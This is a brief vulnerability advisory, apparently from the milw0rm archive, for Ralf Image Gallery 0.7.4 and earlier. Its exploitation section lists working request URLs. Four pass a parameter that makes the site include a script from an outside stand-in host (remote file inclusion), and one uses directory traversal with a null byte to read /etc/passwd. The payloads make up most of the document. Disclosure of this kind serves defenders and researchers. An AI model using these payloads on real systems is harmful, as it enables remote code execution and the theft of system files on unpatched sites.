ralf image gallery <= 0.7.4 - Multiple Vulnerabilities

Title: Ralf Image Gallery &#60;= 0.7.4 - Multiple Remote File Include and directory traversal Vulnerabilities ----------------------------------------------------------------- Vendor: RIG is developed and maintained by Le R&#39;alf URL: http://rig.powerpulsar.com/ ----------------------------------------------------------------- Credits: Discovered by: &#39;Aesthetico&#39; http://www.majorsecurity.de ----------------------------------------------------------------- Exploitation: ----------------------------------------------------------------- /check_entry.php?dir_abs_src=http://www.yourspace.com/yourscript.php? /check_entry.php?dir_abs_src=../../../../../../../../../etc/passwd%00 /admin_album.php?dir_abs_admin_src=http://www.yourspace.com/yourscript.php? /admin_image.php?dir_abs_admin_src=http://www.yourspace.com/yourscript.php? /admin_translate.php?dir_abs_admin_src=http://www.yourspace.com/yourscript.php? # milw0rm.com [2006-06-22]